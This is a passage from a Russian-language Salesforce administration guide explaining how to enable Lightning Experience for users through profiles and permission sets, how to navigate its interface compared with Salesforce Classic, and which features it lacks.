знакомых в системе Salesforce и быстро открывать нужные заметки.

Общедоступные действия
Разрешите торговым представителям связывать контакты с отдельными событиями и задачами для более точного
отображения взаимосвязей между действиями. Функция «Общедоступные действия» действует постоянно. После
включения функции, отключить ее нельзя.

Настройка пользователей для Lightning Experience

ВЕРСИИ

Профили и наборы
полномочий доступны в:
Salesforce Classic и
Lightning Experience.

Профили доступны в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Наборы полномочий
доступны в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Теперь убедитесь, что Lightning Experience доступен соответствующим пользователям.
По умолчанию полномочие «Пользователь Lightning Experience» автоматически
назначаетсявсемпользователямсостандартнымпрофилемSalesforce. Принеобходимости
уточнитедоступкLightning Experienceпосредствомнастраиваемыхпрофилейилинаборов
полномочий. Другими словами, вы можете предоставить ограниченный доступ для
пилотной группы или определенной команды пользователей, которые могут
воспользоваться преимуществами нового интерфейса. Или же включите его для всей
своей организации. Выбор только за Вами!

Важное замечание: Хорошо, если вы используете выпуск Group Edition или
Professional Edition, то это небольшое преувеличение. Невозможно удалить
полномочие пользователя Lightning Experience из стандартных профилей вашей
организации и настраиваемые профили недоступны. Таким образом это «все или
ничего», если вы хотите включить Lightning Experience, то все ваши пользователи
немедленно перейдут на новый интерфейс. Обязательно подготовите своих
пользователей к новому методу работы с Salesforce и предупредите их до перехода
на Lightning Experience. И помните, что пользователи, желающие продолжить
использование интерфейса Salesforce Classic, всегда могут самостоятельно вернуть
его с помощью программы Switcher.

При использовании выпуска Professional Edition с поддержкой настраиваемых
профилей смотрите рекомендации ниже.

Первымделомопределитеналичиепользователейсо стандартнымипрофилями, которымне требуется доступк Lightning
Experience. Назначьте даннымпользователямнастраиваемыепрофили, которыене содержатполномочие «Пользователь
Lightning Experience».

В случае с пользователями с настраиваемыми профилями решите, кто получит Lightning Experience. Настраиваемые
профилипоумолчаниюнесодержатполномочие «Lightning Experience User», эторешениеостается за вами. Воспользуйтесь
советами ниже.

• Хотите проверить Lightning Experience на небольшой группе пользователей с настраиваемыми профилями, но не
хотите включать интерфейс для каждого пользователя, которому назначены такие профили? Создайте набор
полномочий, содержащий полномочие «Lightning Experience User». Затем примените данный набор полномочий к
каждому пробному пользователю. При включении Lightning Experience новый интерфейс будет отображаться только
для этих пробных пользователей.

Используете наборы полномочий впервые? Просмотрите данный обзор! Просмотреть обзор: Создание,
редактирование и назначение набора полномочий
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• Развертывание Lightning Experience для конкретных настраиваемых профилей? Или включение для пользователей
всех настраиваемых профилей? Добавление полномочия «Пользователь Lightning Experience» в профили является
самым быстрым способом пакетного включения нового пользовательского интерфейса.

Приналичиибольшогоколичествапрофилейрекомендуемвоспользоватьсяприложением Data Loader. Темнеменее,
не стоит забывать об огромной ответственности, которая сопутствует большим возможностям. Рекомендуем
внимательно следить за включением или выключением других функций.

Припредоставлениидоступа к Lightning Experience только группепользователейрекомендуемразрешитьиспользование
данного интерфейса всем участникам специализированной рабочей группы. Приналичии участников рабочей группы,
которые часто обмениваются ссылками и тесно сотрудничают между собой, рекомендуем добавить всех участников.
Дополнительнуюинформациюсм. вразделе «Особенностипереключенияпользователеймеждуинтерфейсами Lightning
Experience и Salesforce Classic».

СМ. ТАКЖЕ:

Профили

Наборы полномочий

Порядок переключения на Salesforce Classic после включения Lightning Experience

Включение Lightning Experience для вашей организации

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы посмотреть
программу-помощник
перехода на Lightning
Experience.
• «Просмотр настройки и

конфигурации»

Чтобы изменить
программу-помощник
перехода на Lightning
Experience.
• «Настройка

приложения»

Вывыполнилиэтапы «Изучение» и «Запуск» вашегопланаразвертывания. Вынастроили
функцииSalesforce, оптимизирующиеновыйпользовательскийинтерфейс. Вывключили
правильных пользователей, они обучены и готовы к изменениям в работе. Вы готовы к
запуску системы! Как хорошо, что интерфейс Lightning Experience очень легко можно
включить с помощью программы-помощнику Migration Assistant.

Щелкните ссылку «Lightning Experience» в меню «Настройка» интерфейса Salesforce
Classic.

В программе-помощнике перехода на Lightning Experience, нажмите кнопку Lightning
Experience и задайте значениеВключено.
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Готово! Включенные пользователи автоматически начнут использовать Lightning Experience при обновлении текущего
сеанса или выполнении входа в систему.
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Отключение Lightning Experience для вашей организации

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Чтобы посмотреть
программу-помощник
переноса Lightning
Experience.
• «Просмотр настройки и

конфигурации»

Чтобы изменить
программу-помощник
переноса Lightning
Experience.
• «Настройка

приложения»

Если этот выпуск Lightning Experience не подходит для вашей организации, то новый
пользовательский интерфейс довольно просто отключить. При отключении Lightning
Experience, все пользователи сразу переключаются на Salesforce Classic.

В меню «Настройка» введите Lightning Experience в поле быстрого поиска.

В программе-помощнике переноса Lightning Experience, нажмите кнопку Lightning
Experience и задайте значениеОтключено.

Работа в Lightning Experience

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Немного ошарашены новымифункциями Lightning Experience? Это вполне понятно.
Переход к приложению с переделанным дизайномможет сбить с толку, особенно если
висходноминтерфейсевымоглиработатьдажес завязаннымиглазами. Чтобыоблегчить
привыкание к Lightning Experience, давайтепосмотрим где вновоминтерфейсенаходятся
наиболее часто используемые функции Salesforce.

Поиск профиля и личных параметров в Lightning Experience

В Salesforce Classic ваш профиль и личные параметры можно найти в меню с вашим
именем. В Lightning Experienceпроцесс такойже. Ссылкина этидействияможнонайти,
щелкнув по изображению своего профиля. Хотите переключаться между Lightning
Experience и Salesforce Classic? Вы найдете ссылки и для этих действий тоже.

Поиск объектов в Lightning Experience

В Salesforce Classic для доступа к объектам, таким как организации и интересы применяются вкладки. Вкладки также
применяются и для других функций, таких как домашняя страница и Chatter. Lightning Experience заменяет панель
вкладок на свертываемое меню навигации, содержащее объекты, приложения и другие штуки. Ищете связанные
приложения? Если элемента нет в меню навигации, поищите его в средстве запуска приложений.
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Поиск списковых представлений в Lightning Experience

Lightning Experience улучшает работу со списковыми представлениями Salesforce Classic, предлагая улучшенную
компоновку страниц, удобную навигацию, создание и редактирование списков на месте.

Работа с записями в Lightning Experience

В Salesforce Classicописание записи, связанные спискиилентаотображаютсянаоднойстранице. Такоерасположение
ведет кчастойпрокрутке, особеннов записях, гдемногоданных. В Lightning Experienceописаниезаписи, сопутствующие
сведения и лента расположены в отдельных вкладках между которыми легко переключаться.

Поиск действий и кнопок в Lightning Experience

Хоть Salesforce Classic и отображает действия в публикаторе Chatter, а кнопки на странице описания записи, Lightning
Experience не делает различий для этих элементов. Новый интерфейс смешивает действия и кнопки, размещая их в
различных областях согласно функциональности.

Поиск связанных списков в Lightning Experience

Записи в Salesforce содержат данные и сссылки на другие связанные записи. Salesforce Classic отображает связанные
записи в списках, расположенных внизу страницы. В Lightning Experience сопутствующие сведения отображаются в
картах связанных списков. Для интересов и возможностей, объектов содержащих рабочее пространство, доступ к
картам связанных списков осуществляется из вкладки «Связанные». Для ссылочных объектов, таких как организации
и контакты, а также для групп и людей, карты связанных списков отображаются на правой стороне страницы.

Поиск функций Chatter в Lightning Experience

Спомощью Lightning Experience, можно объединять людей и группы, безопасно обмениваться деловыми сведениями
в реальном времени, как вы привыкли в Salesforce Classic. В новом интерфейсе доступ к лентам, группам и профилям
Chatter немного отличается. Но посмотрев этот небольшой обзор, вы быстро освоитесь.

Поиск справки в Lightning Experience

Помощьвсегдарядом! Итеперьонадоступнее споявлением Lightning Experience, где контекстноеменюсправкивыдает
целевое содержимое, такое как видеоролики, обзоры, разделы справки и настройки. Вот так удача!

Поиск профиля и личных параметров в Lightning Experience

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

В Salesforce Classic ваш профиль и личные параметры можно найти в меню с вашим
именем. В Lightning Experience процесс такой же. Ссылки на эти действия можно найти,
щелкнув по изображению своего профиля. Хотите переключаться между Lightning
Experience и Salesforce Classic? Вы найдете ссылки и для этих действий тоже.

248

Поиск профиля и личных параметров в Lightning ExperienceОценка и развертывание Lightning Experience для вашей
организации



ВLightning Experienceщелкнитепоизображениюсвоегопрофиля, чтобыполучитьссылкинапрофильиличныепараметры

(1). Кстати, если не добавить фото, то выглядеть вы будете вот так: . Пожалуй, это не самый лучший вид, поэтому
щелкнитеПрофиль, чтобы добавить фото!

Если хотите вернуться обратно к Salesforce Classic, воспользуйтесь средством переключения Switcher (2). Мы запомним
ваш выбор и сделаем его действующим по умолчанию. Хотите переключиться обратно к Lightning Experience? Просто
щелкните свое имя в заголовке Salesforce Classic, затем средство переключения Switcher (2).

Поиск объектов в Lightning Experience

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ВSalesforce Classicдлядоступакобъектам, такимкакорганизациииинтересыприменяются
вкладки. Вкладкитакжеприменяютсяидлядругихфункций, такихкакдомашняястраница
и Chatter. Lightning Experience заменяетпанель вкладокна свертываемоеменюнавигации,
содержащееобъекты, приложенияидругиештуки. Ищете связанныеприложения? Если
элемента нет в меню навигации, поищите его в средстве запуска приложений.
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В Lightning Experienceиспользуйтеменюнавигациидля доступа к такимвещамкак домашняя страница, объектам Salesforce,
ленте Chatter, группам, людям, панелям мониторинга, отчетам, инструментам повышения производительности и
приложениям. Ваша организация может использовать стандартное меню навигации или специально настроенные под
профили пользователей. Просто щелкните по значку для нужного элемента (1). Прокрутите вниз, чтобы увидеть все
элементы меню. Щелкните значок меню навигации (2), чтобы развернуть меню и посмотреть названия элементов.
Сверните его, когда привыкните к значкам элементов.
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В Salesforce Classic для работы с доступными приложениями применяется меню средства запуска приложений Force.com
(1). В Lightning Experienceподведите курсормыши к значку средства запуска приложений (1), посмотрите как он окрасится
в цвета радуги, затем щелкните, чтобы найти приложения на странице средства запуска приложений (2).

Ищете элемент, которогонет вменюнавигациииликоторыйещенедоступенв Lightning Experience? Щелкнитепоплитке,
чтобыоткрытьоблакофункций, затемпрокрутите вниз, чтобынайтиссылкидля этойфункции. Еслищелкнутьпоссылке,
то функция откроется в Salesforce Classic в отдельной вкладке браузера. Например, чтобы использовать совместные
прогнозы, нажмитеПродажи, затем прокрутите вниз до ссылкиПрогнозы. Щелкните ее, чтобы открыть вкладку
прогнозов в отдельной вкладке браузера в Salesforce Classic.
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Поиск списковых представлений в Lightning Experience

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Lightning Experience улучшает работу со списковыми представлениями Salesforce Classic,
предлагая улучшенную компоновку страниц, удобную навигацию, создание и
редактирование списков на месте.

• Выберите списковое представление в раскрывающемся списке (1).

• Создание, редактирование и удаление списковых представлений (2). Используйте для быстрой модификации
фильтров представления и изменения отображаемых записей.

• Создание записей (3) прямо в списковом представлении.

• Редактирование и удаление (4) определенных записей.

Списковые представления в Lightning Experience содержат несколько новых функций, которых нет в Salesforce Classic.

• Более быстрый поиск определенного спискового представления (5).

• Только для коммерческих возможностей — переключение между стандартным списковым представлением и новой
панелью коммерческих возможностей (6), визуальным средством отслеживания потока.

• Визуализируйте данные спискового представления в одном из типов графиков: вертикальной, горизонтальной или
круговой диаграмме (7).
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Работа с записями в Lightning Experience

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

В Salesforce Classic описание записи, связанные списки и лента отображаются на одной
странице. Такое расположение ведет к частой прокрутке, особенно в записях, где много
данных. В Lightning Experience описание записи, сопутствующие сведения и лента
расположены в отдельных вкладках между которыми легко переключаться.

• В Salesforce Classic элемент управления «Показать ленту» (1) контролирует видимость ленты Chatter для записи. В
Lightning Experience, лента записи и компоновщик записи всегда доступны на вкладке «Сотрудничество» (1).

• Все подробности о записи приведены на вкладке «Сведения» (2).
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• В Salesforce Classic записи содержат связанные списки (3), а Lightning Experience отображает сопутствующие сведения
в карточках связанных списков (3). См. в разделе Поиск связанных списков в Lightning Experience более подробное
описание работы со связанной информацией в новом и классическом пользовательском интерфейсе.

СМ. ТАКЖЕ:

Поиск действий и кнопок в Lightning Experience

Поиск действий и кнопок в Lightning Experience

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Хоть Salesforce Classicиотображает действия впубликатореChatter, а кнопкина странице
описания записи, Lightning Experience не делает различий для этих элементов. Новый
интерфейс смешивает действия и кнопки, размещая их в различных областях согласно
функциональности.
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• СтандартныедействияChatter «Сообщение» и «Опрос» (1) отображаютсявкомпоновщикинавкладке «Сотрудничество»
в Lightning Experience. Однако, другие стандартные действия, такие как «Благодарность» и «Ссылки», недоступны в
новом интерфейсе.

• Действия «Запись вызова в журнал», «Новая задача» и «Новое событие» (2) из макета страницыобъекта отображаются
в компоновщике на вкладке «Действие». Если кнопка «Отправить письмо» входит в макет страницы объекта, то
действие «Письмо» также будет в компоновщике. Эти действия создают записи, связанные с записью, которую
просматривает пользователь.

ИливоспользуйтесьменюГлобальныедействия ( ) в заголовке, чтобызанестивызоввжурналилисоздать события,
примечания и задачи, не связанные с текущей записью.

• Стандартные и поддерживаемые настраиваемые кнопки (3) на макете страницы, включая кнопку «Редактирование»,
появятся в меню действий. И любые другие глобальные и привязанные к объектам действия, включая действия
Visualforce и Force.com Canvas, также появятся в меню.
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• Как и в Salesforce Classic, настраиваемые ссылки входят в описание записей. Чтобы найти их, перейдите на вкладку
«Описание».

СМ. ТАКЖЕ:

Действия в Lightning Experience

Порядок действий в Lightning Experience

Навигация и действия: Чего нет в Lightning Experience

Поиск связанных списков в Lightning Experience

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Записи в Salesforce содержат данные и сссылки на другие связанные записи. Salesforce
Classic отображает связанные записи в списках, расположенных внизу страницы. В
Lightning Experience сопутствующиесведенияотображаются в картах связанныхсписков.
Для интересов и возможностей, объектов содержащих рабочее пространство, доступ к
картам связанных списков осуществляется из вкладки «Связанные». Для ссылочных
объектов, таких какорганизациииконтакты, а такжедля группилюдей, картысвязанных
списков отображаются на правой стороне страницы.

Для первых восьми карт связанных списков в записи:
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• Кнопки связанных списков (1) расположены в верхнем правом углу каждой карты связанного списка. При наличии
нескольких кнопок, для работы с ними используйте раскрывающееся меню.

• Каждый элемент в карте связанного списка содержит ссылку (2), открывающую связанную запись.

• Действия по конкретной записи (3) расположены в раскрывающемся меню рядом с каждой связанной записью.

• Когда карты связанных списков находятся на правой стороне страницы, каждая карта отображает до трех записей.
Для ссылочных объектов карты связанных список отображают дошести записей. В обоих случаях детализируйте (4),
чтобы посмотреть полный список связанных записей.

Если для записи есть более восьми связанных списков, дополнительные карты списков показывают только название
объекта. Щелкните название в карте связанного списка, чтобы открыть полный список, с кнопками и сопутствующими
действиями, не входящими в карту.

Поиск функций Chatter в Lightning Experience

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

С помощью Lightning Experience, можно объединять людей и группы, безопасно
обмениваться деловыми сведениями в реальном времени, как вы привыкли в Salesforce
Classic. В новом интерфейсе доступ к лентам, группам и профилям Chatter немного
отличается. Но посмотрев этот небольшой обзор, вы быстро освоитесь.

В Salesforce Classicфункции Chatter располагались в боковой панели вкладки Chatter. В
Lightning Experience доступ к главной ленте (1), профилям коллег (2) и группам (3)
выполняется напрямую из меню навигации.
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Для совместной работы над записями (4), воспользуйтесь вкладкой «Сотрудничество» в Lightning Experience. Вы можете
публиковатьобновления, создаватьопросыиделитьсяфайлами, прямокак в Salesforce Classic. Нотеперьненужновозиться
со ссылками «Скрыть ленту» и «Показать ленту».
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Работа с лентами
Вы можете изменить основную ленту Chatter так, чтобы отображался определенный набор публикаций (1). В Lightning
Experience задействуйте вкладки наверху страницы. Лента «Отслеживаемые» останется используемой по умолчанию.
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Ленты в Lightning Experience содержат многие варианты действий, доступные в Salesforce Classic.
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• Действия «Сообщение» и «Опрос» доступны в компоновщике (2) на вкладке «Сотрудничество». Щелкните по
компоновщику, чтобы включить кнопки для отправкифайла или упоминания людей. Другие стандартные действия
Chatter, входящие в состав публикатора Salesforce Classic, включая «Благодарность» и «Ссылки», недоступны в Lightning
Experience.

• Сортировка ленты (3) по последним публикациям и комментариям. Варианты фильтрации ленты недоступны в
Lightning Experience.

• В Lightning Experience обновите ленту (4), чтобы просмотреть последние данные.

• Ищите информацию в определенной ленте с помощьюфункции поиска в ленте (5).

• Действия с публикацией (6) выполняются одинаково, независимо от интерфейса. Но в Lightning Experience не
поддерживается работа с темами.

Поиск справки в Lightning Experience

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Помощь всегда рядом! И теперь она доступнее с появлением Lightning Experience, где
контекстноеменюсправкивыдаетцелевое содержимое, такое как видеоролики, обзоры,
разделы справки и настройки. Вот так удача!
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В Salesforce Classic большинство страниц и связанных списков ведут на один контекстный раздел справки. Меню справки
Lightning Experience (1) предоставляет гораздо больше вариантов, такие как ссылки на видеоролики, обзоры, разделы
справки и настройки — то, что наиболее подходит вам в данный момент.

Оба интерфейса содержат ссылки на главный портал «Справка и обучение». Но ссылка в Lightning Experience экономят
время, переводя вас сразу на страницу поиска, чтобы быстро найти нужную информацию.

Нам нужны ваши отзывы! Просто щелкните ссылку «Оставить отзыв» (3) и поделитесь своими соображениями насчет
Lightning Experience или других продуктах Salesforce. Спасибо!
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Замечания по Lightning Experience

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Всостав даннойверсии Lightning Experience вошлине всефункции, доступныев Salesforce
Classic. Вприведенных далее разделах можно уточнить, не исчезли ли из данной версии
или не стали ли ограниченными какие-либо возможности, важные для вашего бизнеса.
Кроме того, этаинформацияпоможет вамобучитьпользователейновымособенностям
работы, которые появятся с переходом на Lightning Experience.

Особенностипереключенияпользователеймеждуинтерфейсами Lightning Experience
и Salesforce Classic

Переключение между интерфейсами Lightning Experience и Salesforce Classic
выполняется быстро и легко. Тем не менее, переключение между интерфейсами
влияет на логику маршрутизации основного URL-адреса и может инициировать возникновение некоторых
непредвиденныхрезультатовприисправленииссылок. Переключениетакжевлияетназакладкииссылкивсообщениях
эл. почты или сообщениях Chatter (особенно при наличии группы пользователей, имеющих доступ к интерфейсу
Lightning Experience, но использовании интерфейса Salesforce Classic остальными пользователями).

Функции, недоступные в Lightning Experience

Узнайте о функциях Salesforce, которые недоступны в новом интерфейсе или имеют отличия от тех, к каким вы
привыкли в Salesforce Classic. И помните, что функции еще не поддерживаемые в новом интерфейсе, по-прежнему
доступны вашим пользователям — они с легкостью могут переключиться на Salesforce Classic и продолжить работу.

Особенности интерфейса Lightning Experience при выключенной поддержке Chatter

Если организация не использует Chatter, то Lightning Experience не поддерживает некоторые полезные возможности.
Просмотрите изменения интерфейса Lightning Experience, препятствующие использованию привычных функций.

Особенности переключения пользователей между интерфейсами Lightning
Experience и Salesforce Classic

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Переключениемеждуинтерфейсами Lightning Experienceи Salesforce Classic выполняется
быстро и легко. Тем не менее, переключение между интерфейсами влияет на логику
маршрутизацииосновного URL-адресаиможетинициироватьвозникновениенекоторых
непредвиденных результатов при исправлении ссылок. Переключение также влияет на
закладки и ссылки в сообщениях эл. почты или сообщениях Chatter (особенно при
наличии группы пользователей, имеющих доступ к интерфейсу Lightning Experience, но
использовании интерфейса Salesforce Classic остальными пользователями).

После включения Lightning Experience новый интерфейс отображается пользователям
по умолчанию.При каждом переключении интерфейсов посредством переключателя
стандартной настройкой пользователя становится текущая среда. Ниже перечислены
типовые алгоритмы маршрутизации ссылок, которые могут встречаться пользователям.

Область открытия ссылокСтандартный интерфейс
пользователя

Наличие полномочия
«Пользователь Lightning

Experience»

При использовании страниц, поддерживаемых
интерфейсом Lightning Experience, ссылки открываются в

Lightning ExperienceДа
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Область открытия ссылокСтандартный интерфейс
пользователя

Наличие полномочия
«Пользователь Lightning

Experience»

новом интерфейсе (даже ссылки, созданные в Salesforce
Classic).

Ссылки на неподдерживаемые страницы направляются в
интерфейс Salesforce Classic, которыйоткрываетсянановой
вкладке. Данная временная переадресация не изменяет
стандартную настройку пользователя на Salesforce Classic.
При следующем выборе ссылки, которая поддерживается
новым интерфейсом, система перезагружает вкладку
Salesforce Classicиоткрывает ссылку винтерфейсе Lightning
Experience.

Как правило, ссылки открываются в интерфейсе Salesforce
Classic.

Ссылка, созданнаяв Lightning Experience (URL-адрессодержит
компонент /one/one.app), открывается в интерфейсе

Salesforce ClassicДа

Lightning Experience. Стандартная настройка пользователя
не изменяется на Lightning Experience.

Ссылкиоткрываются тольковинтерфейсе Salesforce Classic.

Ссылка, созданнаяв Lightning Experience (URL-адрессодержит
компонент /one/one.app), не открывается ввиду
отсутствия доступа к интерфейсу Lightning Experience.

Salesforce ClassicНет

Данныеалгоритмымаршрутизациимогутинициироватьпутаницуприотправкессылок Lightning Experienceпользователям
Salesforce Classic. Чтобы избежать данной проблемы, рекомендуем включить новый интерфейс для всех пользователей,
которые тесно сотрудничают между собой.

ТакжерекомендуемсообщитьпользователямLightning Experienceпринципыработыссылокизакладоквобоихинтерфейсах.

СМ. ТАКЖЕ:

Порядок переключения на Salesforce Classic после включения Lightning Experience

Функции, недоступные в Lightning Experience

ВЕРСИИ

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Узнайте о функциях Salesforce, которые недоступны в новом интерфейсе или имеют
отличия от тех, к каким вы привыкли в Salesforce Classic. Ипомните, чтофункции еще не
поддерживаемые в новом интерфейсе, по-прежнему доступны вашим пользователям
— они с легкостью могут переключиться на Salesforce Classic и продолжить работу.

Доступ к данным и представления данных: Чего нет в Lightning Experience

Функции продаж: Чего нет в Lightning Experience

Функции производительности: Чего нет в Lightning Experience
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Функции обслуживания клиентов: Функции, недоступные в Lightning Experience

Отчеты и панели мониторинга: Чего нет в Lightning Experience

Файлы и содержимое: Чего нет в Lightning Experience

Chatter: Чего нет в Lightning Experience

Другие продукты Salesforce: Чего нет в Lightning Experience

Навигация и действия: Чего нет в Lightning Experience

Поиск: Чего нет в Lightning Experience

Настройка организации: чего нет в Lightning Experience

Импорт данных и управление данными: What’s Not in Lightning Experience

Автоматизация процессов: Чего нет в Lightning Experience

Безопасность: Функции, недоступные в Lightning Experience

Интерактивная настройка: Функции, недоступные в Lightning Experience

Программная настройка: Чего нет в Lightning Experience

Приложения и пакетирование: Чего нет в Lightning Experience

СМ. ТАКЖЕ:

Порядок переключения на Salesforce Classic после включения Lightning Experience

Доступ к данным и представления данных: Чего нет в Lightning Experience
Данный раздел описывает проблемы, которые могут возникать при доступе к данным в Lightning Experience. Некоторые
данные и функции Salesforce не поддерживаются новым пользовательским интерфейсом. Кроме того, возможности
некоторых функций отличаются от возможностей, доступных в Salesforce Classic.

Объекты
НижеперечисленыобъектыSalesforce, доступныевLightning Experience. Данныйвыпускнеподдерживаетдругиестандартные
объекты.

• Организации

• Активы

• Кампании

• Обращения

• Контакты

• Панели мониторинга

• События

• Файлы

• Интересы

• Примечания

• Возможности

• организации-лица
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• Прайс-листы

• Продукты

• Отчеты

• Задачи

• Заказ-наряды

• Настраиваемые объекты

• Внешние объекты

Поля
• Lightning Experience позволяет отображать поля для неподдерживаемых объектов; данные поля доступны только для

чтения и не содержат ссылки на связанные записи.

• Поляформул сизображенияминеподдерживаются врезультатахпоиска. Имяполяотображается, носамополепусто.

• Данный выпуск отличается ограниченной поддержкой справки поля. Пользователи не могут определять текст
настраиваемой справки или добавлять справку для полей настраиваемых объектов.

Связанные списки
• Lightning Experience поддерживает связанные списки для поддерживаемых стандартных и настраиваемых объектов.

Связанные списки для объектов, которые не поддерживаются интерфейсом Lightning Experience, не отображаются
другими областями интерфейса (даже после их добавления в макет страницы объекта).

• В Lightning Experience сопутствующие списки отображаются в картах связанных списков на начальных страницах
записей. Первые восемь связанных списков показывают кнопки связанных списков, первые несколько записей из
списка и ссылку на открытие полного списка записей. Для других дополнительных списков в карте показывается
толькоимясписка. Пользователипо-прежнемумогутработать со связаннымисписками — простощелкнитепоимени
связанного списка, чтобы открыть полные данные. Тут пользователимогут смотреть записи в списке и задействовать
кнопки списка (такие какСоздать) или действия записи уровня строки.

• Lightning Experienceподдерживаетновые связанные списки «Файлы» и «Примечания», а также классическийсвязанный
список «Примечания и вложения». При использовании Salesforce Files или расширенных примечаний добавьте все
эти связанные списки в свои макеты страниц объектов.

– Файлыивложенияявляютсядвумяразнымитипамиобъектов. Вотличиеотфайловвложениясвязываютсятолько
с определенной записью и не могут публиковаться далее. В Lightning Experience в связанные списки Notes &
Attachments загружаются файлы. В Salesforce Classic вплоть до весны 2016 года, в этот связанный список вместо
файлов всегда загружались вложения. Другими словами, связанный список «Примечания и вложения» текущих
организацийможетсодержатьвложения, загруженныевSalesforce Classic, ифайлы, добавленныев Lightning Experience.

При использовании API текущие интеграции, извлекающие вложения из связанного списка «Примечания и
вложения», не содержат файлы, загруженные в данный список посредством интерфейса Lightning Experience.
Извлечение файлов и вложений выполняется посредством нового вызова API.

– Примечания, созданные посредством устаревшего инструмента создания примечаний в интерфейсе Salesforce
Classic, отображаются только связаннымсписком «Примечанияивложения». Примечания, созданныепосредством
расширеннойверсииинструментасозданияпримечаний, отображаютсятолькосвязаннымсписком «Примечания».

• При использовании версии Group Edition связанный список «Контакты» не отображается организациями.

• Когда на записи контакта применяется связанный список «Возможность» для добавления новой или существующей
возможности к контакту, Salesforce добавляет контакт к связанному списку «Роли контактов» возможности.
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• Lightning Experience объединяет записи стандартного и настраиваемого прайс-листа в один связанный список
«Прайс-лист». Это отличается от поведения Salesforce Classic, в котором есть отдельные связанные списки для
стандартного и настраиваемого прайс-листа. Если вы ранее удалили связанный список «Прайс-листы», т.к. ваша
организация применяет только стандартные цены, вам следует добавить его обратно на макет страницыПродукт,
чтобы ваши пользователи могли видеть стандартные цены в Lightning Experience.

• Salesforce не отображает связанные списки «Открытые действия» и «Журнал действий» помимо других списков на
страницах сведений для объектов, поддерживающих действия. Взамен, данный интерфейс отображает временную
шкалудействий. Объектами, поддерживающимидействия, считаютсявозможности, интересы, организации, контакты
и любые настраиваемые объекты, которым разрешается поддержка действий.

При удалении одного из связанных списков действий («Открытые действия» или «Журнал действий») из макетов
страниц система Salesforce не отображает соответствующие разделы временнойшкалы («Следующие этапы» или
«Прошлые действия») на данных страницах.

Начальная страница объекта
Ниже перечисленыфункции, недоступные на начальных страницах объектов в Lightning Experience.

• Инструмент «Быстрое создание»

• Доступ к отчетам по объектам

• Любые инструменты в разделе «Инструменты»

• Инструмент сводного отчета

Списковые представления
Lightning Experience не поддерживает функции спискового представления ниже.

• Отслеживание записей прямо из списка

• Предоставление группам общего доступа к списковым представлениям

• Клонирование списковых представлений

• Пакетные действия, включая изменение и удаление нескольких элементов в списке за раз, отправка пакетов писем
или добавление нескольких записей в кампанию

• Настраиваемые действия и кнопки

• Расширенная логика фильтра

• Планирование с помощью перетаскивания для списковых представлений организаций, контактов и интересов

• Ленты

• Значок для создания печатной версии списка

Lightning Experience использует другие способы отображения и алгоритмы работы списковых представлений.

• Пользовательнепереходитнановуюстраницудля созданиясписковогопредставления. Взамен, пользовательостается
на той же странице и вводит имя спискового представления посредством всплывающего диалогового окна.
Пользователь добавляет фильтры для настройки списка посредством панели, отображающейся в правой части
страницы.

• Пользовательможетограничивать списковыепредставлениятолькопутемвыборапараметра «Все» или «Мои». Другие
параметры (например, ограничение по очереди, кампании или прайс-листу) не поддерживаются.

• Данныйинтерфейсподдерживаетизмененнуюнавигациюпосписковымпредставлениям. Списковыепредставления
используют функцию бесконечного прокручивания, поэтому пользователь не может задавать количество записей
для отображения на странице. Кроме того, пользователь не может перемещаться по страницам посредством кнопок
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со стрелками, а также не может открывать конкретную страницу результатов.Открытие записей, имена которых
начинаются с конкретной буквы, не поддерживается.

• Раскрывающееся меню показывает до 200 представлений Сперва отображаются недавно просмотренные списки,
затемидутдругиепредставлениясписковв алфавитномпорядке. Хотьвменюотображаютсятолько 200 представлений,
можно вести поиск до 2000 представлений. Если у вас более 2000 списковых представлений, некоторые из них не
возвращаются с результатами поиска. Вы можете переключиться обратно в Salesforce Classic, чтобы найти все ваши
списковые представления.

• Пользователь не может изменять порядок отображения столбцов путем перетаскивания заголовка столбца в другую
область таблицы. Взамен, пользователь может изменять отображаемые столбцы и порядок их отображения путем
выбора пунктаВыбор полей для отображения из раскрывающегося меню «Элементы управления спискового
представления». Если добавить или удалить столбец в Lightning Experience, все столбцы с нестандартнойшириной
будут удалены. Можно переключиться обратно в Salesforce Classic и изменить ширину столбцов.

• Данныйинтерфейсподдерживаеттольконекоторыедействиянауровнестрок. Доступнымидлябольшинстваобъектов
являются действия «Правка» и «Удалить». Интересы поддерживают два дополнительных действия: «Преобразовать»
и «Клонировать». Доступными для файлов являются действия «Правка», «Удалить» и «Загрузить».

